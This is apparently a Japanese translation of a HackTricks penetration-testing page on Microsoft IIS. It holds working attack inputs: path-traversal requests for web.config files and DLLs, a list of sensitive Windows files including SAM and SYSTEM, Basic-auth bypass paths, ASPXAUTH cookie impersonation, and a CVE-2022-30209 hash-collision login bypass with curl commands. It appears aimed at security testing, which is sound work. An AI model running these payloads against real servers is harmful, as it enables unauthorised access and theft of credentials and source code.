# IIS - Internet Information Services {{#include ../../banners/hacktricks-training.md}} テスト実行可能ファイル拡張子: - asp - aspx - config - php ## 内部IPアドレスの開示 302を取得した任意のIISサーバーでは、Hostヘッダーを削除し、HTTP/1.0を使用して、レスポンス内のLocationヘッダーが内部IPアドレスを指す可能性があります: ``` nc -v domain.com 80 openssl s_client -connect domain.com:443 ``` 内部IPを開示する応答: ``` GET / HTTP/1.0 HTTP/1.1 302 Moved Temporarily Cache-Control: no-cache Pragma: no-cache Location: https://192.168.5.237/owa/ Server: Microsoft-IIS/10.0 X-FEServer: NHEXCHANGE2016 ``` ## .configファイルの実行 .configファイルをアップロードし、それを使用してコードを実行できます。これを行う方法の1つは、ファイルの最後にHTMLコメント内にコードを追加することです: [Download example here](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config) この脆弱性を悪用するための詳細情報と技術は[here](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)にあります。 ## IISディスカバリブルートフォース 私が作成したリストをダウンロードしてください: {% file src="../../images/iisfinal.txt" %} これは、以下のリストの内容を統合して作成されました: [https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt)\ [http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html](http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html)\ [https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt](https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt)\ [https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt)\ [https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\ [https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt) 拡張子を追加せずに使用してください。必要なファイルにはすでに拡張子があります。 ## パストラバーサル ### ソースコードの漏洩 完全な詳細は次のリンクを確認してください: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html) > [!NOTE] > 要約すると、アプリケーションのフォルダ内に複数のweb.configファイルがあり、"**assemblyIdentity**"ファイルや"**namespaces**"への参照があります。この情報を使用して、**実行可能ファイルの場所**を知り、それをダウンロードすることが可能です。\ > **ダウンロードしたDll**からは、**新しいnamespaces**を見つけてアクセスし、web.configファイルを取得して新しいnamespacesとassemblyIdentityを見つけることも可能です。\ > また、**connectionstrings.config**および**global.asax**ファイルには興味深い情報が含まれている可能性があります。\\ **.Net MVCアプリケーション**では、**web.config**ファイルは、アプリケーションが依存する各バイナリファイルを**"assemblyIdentity"** XMLタグを通じて指定する重要な役割を果たします。 ### **バイナリファイルの探索** **web.config**ファイルにアクセスする例は以下に示されています: ```markup GET /download_page?id=..%2f..%2fweb.config HTTP/1.1 Host: example-mvc-application.minded ``` このリクエストは、次のようなさまざまな設定や依存関係を明らかにします: - **EntityFramework** バージョン - ウェブページ、クライアント検証、および JavaScript のための **AppSettings** - 認証とランタイムのための **System.web** 設定 - **System.webServer** モジュール設定 - **Microsoft.Owin**、**Newtonsoft.Json**、および **System.Web.Mvc** のような多数のライブラリのための **Runtime** アセンブリバインディング これらの設定は、**/bin/WebGrease.dll** のような特定のファイルがアプリケーションの /bin フォルダー内に存在することを示しています。 ### **ルートディレクトリファイル** **/global.asax** や **/connectionstrings.config**(機密パスワードを含む)など、ルートディレクトリに見つかるファイルは、アプリケーションの設定と動作に不可欠です。 ### **名前空間と Web.Config** MVC アプリケーションは、各ファイルでの繰り返し宣言を避けるために特定の名前空間用の追加の **web.config ファイル** も定義します。これは、別の **web.config** をダウンロードするリクエストで示されています: ```markup GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1 Host: example-mvc-application.minded ``` ### **DLLのダウンロード** カスタムネームスペースの言及は、/binディレクトリに存在する「**WebApplication1**」という名前のDLLを示唆しています。これに続いて、**WebApplication1.dll**をダウンロードするリクエストが表示されます: ```markup GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1 Host: example-mvc-application.minded ``` これは、/binディレクトリに**System.Web.Mvc.dll**や**System.Web.Optimization.dll**などの他の重要なDLLの存在を示唆しています。 DLLが**WebApplication1.Areas.Minded**という名前空間をインポートするシナリオでは、攻撃者は、特定の構成と/binフォルダ内の他のDLLへの参照を含む、予測可能なパスに他のweb.configファイルが存在することを推測するかもしれません。例えば、**/Minded/Views/web.config**へのリクエストは、別のDLLである**WebApplication1.AdditionalFeatures.dll**の存在を示す構成や名前空間を明らかにすることができます。 ### 一般的なファイル [こちら](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)から ``` C:\Apache\conf\httpd.conf C:\Apache\logs\access.log C:\Apache\logs\error.log C:\Apache2\conf\httpd.conf C:\Apache2\logs\access.log C:\Apache2\logs\error.log C:\Apache22\conf\httpd.conf C:\Apache22\logs\access.log C:\Apache22\logs\error.log C:\Apache24\conf\httpd.conf C:\Apache24\logs\access.log C:\Apache24\logs\error.log C:\Documents and Settings\Administrator\NTUser.dat C:\php\php.ini C:\php4\php.ini C:\php5\php.ini C:\php7\php.ini C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf C:\Program Files (x86)\Apache Group\Apache\logs\access.log C:\Program Files (x86)\Apache Group\Apache\logs\error.log C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf C:\Program Files (x86)\Apache Group\Apache2\logs\access.log C:\Program Files (x86)\Apache Group\Apache2\logs\error.log c:\Program Files (x86)\php\php.ini" C:\Program Files\Apache Group\Apache\conf\httpd.conf C:\Program Files\Apache Group\Apache\conf\logs\access.log C:\Program Files\Apache Group\Apache\conf\logs\error.log C:\Program Files\Apache Group\Apache2\conf\httpd.conf C:\Program Files\Apache Group\Apache2\conf\logs\access.log C:\Program Files\Apache Group\Apache2\conf\logs\error.log C:\Program Files\FileZilla Server\FileZilla Server.xml C:\Program Files\MySQL\my.cnf C:\Program Files\MySQL\my.ini C:\Program Files\MySQL\MySQL Server 5.0\my.cnf C:\Program Files\MySQL\MySQL Server 5.0\my.ini C:\Program Files\MySQL\MySQL Server 5.1\my.cnf C:\Program Files\MySQL\MySQL Server 5.1\my.ini C:\Program Files\MySQL\MySQL Server 5.5\my.cnf C:\Program Files\MySQL\MySQL Server 5.5\my.ini C:\Program Files\MySQL\MySQL Server 5.6\my.cnf C:\Program Files\MySQL\MySQL Server 5.6\my.ini C:\Program Files\MySQL\MySQL Server 5.7\my.cnf C:\Program Files\MySQL\MySQL Server 5.7\my.ini C:\Program Files\php\php.ini C:\Users\Administrator\NTUser.dat C:\Windows\debug\NetSetup.LOG C:\Windows\Panther\Unattend\Unattended.xml C:\Windows\Panther\Unattended.xml C:\Windows\php.ini C:\Windows\repair\SAM C:\Windows\repair\system C:\Windows\System32\config\AppEvent.evt C:\Windows\System32\config\RegBack\SAM C:\Windows\System32\config\RegBack\system C:\Windows\System32\config\SAM C:\Windows\System32\config\SecEvent.evt C:\Windows\System32\config\SysEvent.evt C:\Windows\System32\config\SYSTEM C:\Windows\System32\drivers\etc\hosts C:\Windows\System32\winevt\Logs\Application.evtx C:\Windows\System32\winevt\Logs\Security.evtx C:\Windows\System32\winevt\Logs\System.evtx C:\Windows\win.ini C:\xampp\apache\conf\extra\httpd-xampp.conf C:\xampp\apache\conf\httpd.conf C:\xampp\apache\logs\access.log C:\xampp\apache\logs\error.log C:\xampp\FileZillaFTP\FileZilla Server.xml C:\xampp\MercuryMail\MERCURY.INI C:\xampp\mysql\bin\my.ini C:\xampp\php\php.ini C:\xampp\security\webdav.htpasswd C:\xampp\sendmail\sendmail.ini C:\xampp\tomcat\conf\server.xml ``` ## HTTPAPI 2.0 404 エラー 次のようなエラーが表示された場合: ![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>) これは、サーバーが**Host ヘッダー内で正しいドメイン名を受信しなかった**ことを意味します。\ ウェブページにアクセスするには、提供された**SSL証明書**を確認し、そこにドメイン/サブドメイン名が含まれているかもしれません。もしそこにない場合は、**VHostsをブルートフォース**して正しいものを見つける必要があります。 ## 注目すべき古いIISの脆弱性 ### Microsoft IIS チルダ文字 “\~” 脆弱性/機能 – 短いファイル/フォルダ名の漏洩 この**技術**を使用して、発見された各フォルダ内の**フォルダとファイルを列挙**してみることができます(基本認証が必要な場合でも)。\ この技術の主な制限は、サーバーが脆弱な場合、**各ファイル/フォルダの名前の最初の6文字とファイルの拡張子の最初の3文字しか見つけられない**ことです。 この脆弱性をテストするには、[https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner)を使用できます:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/` ![](<../../images/image (844).png>) 元の研究:[https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf](https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf) **metasploit**を使用することもできます:`use scanner/http/iis_shortname_scanner` 発見されたファイルの**最終名を見つける**ための良いアイデアは、スクリプト[https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py)のように**LLMsにオプションを尋ねる**ことです。 ### 基本認証のバイパス **バイパス**基本認証(**IIS 7.5**)を試みるには、次のいずれかにアクセスします:`/admin:$i30:$INDEX_ALLOCATION/admin.php`または`/admin::$INDEX_ALLOCATION/admin.php` この**脆弱性**と前のものを**組み合わせて**新しい**フォルダ**を見つけ、認証を**バイパス**することができます。 ## ASP.NET Trace.AXD 有効なデバッグ ASP.NETにはデバッグモードが含まれており、そのファイルは`trace.axd`と呼ばれます。 これは、一定期間にアプリケーションに対して行われたすべてのリクエストの非常に詳細なログを保持します。 この情報には、リモートクライアントのIP、セッションID、すべてのリクエストおよびレスポンスのクッキー、物理パス、ソースコード情報、さらにはユーザー名やパスワードが含まれる可能性があります。 [https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/) ![Screenshot 2021-03-30 at 13 19 11](https://user-images.githubusercontent.com/31736688/112974448-2690b000-915b-11eb-896c-f41c27c44286.png) ## ASPXAUTH クッキー ASPXAUTHは次の情報を使用します: - **`validationKey`**(文字列):署名検証に使用する16進エンコードされたキー。 - **`decryptionMethod`**(文字列):(デフォルトは“AES”)。 - **`decryptionIV`**(文字列):16進エンコードされた初期化ベクター(デフォルトはゼロのベクター)。 - **`decryptionKey`**(文字列):復号化に使用する16進エンコードされたキー。 ただし、一部の人々はこれらのパラメータの**デフォルト値**を使用し、**ユーザーのメールをクッキーとして使用**します。したがって、ASPXAUTHクッキーを使用している**同じプラットフォーム**のウェブを見つけ、攻撃対象のサーバーで**なりすましたいユーザーのメールでユーザーを作成**できれば、**2つ目のサーバーのクッキーを最初のサーバーで使用**してユーザーになりすますことができるかもしれません。\ この攻撃はこの[**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19)で成功しました。 ## キャッシュされたパスワードによるIIS認証バイパス (CVE-2022-30209) [こちらに完全なレポートがあります](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html):コードのバグにより、**ユーザーが提供したパスワードを正しくチェックしなかった**ため、**パスワードハッシュがキャッシュ内のキーにヒットする**攻撃者は、そのユーザーとしてログインできるようになります。 ```python # script for sanity check > type test.py def HashString(password): j = 0 for c in map(ord, password): j = c + (101*j)&0xffffffff return j assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT') # before the successful login > curl -I -su 'orange:ZeeiJT' 'http:///protected/' | findstr HTTP HTTP/1.1 401 Unauthorized # after the successful login > curl -I -su 'orange:ZeeiJT' 'http:///protected/' | findstr HTTP HTTP/1.1 200 OK ``` {{#include ../../banners/hacktricks-training.md}}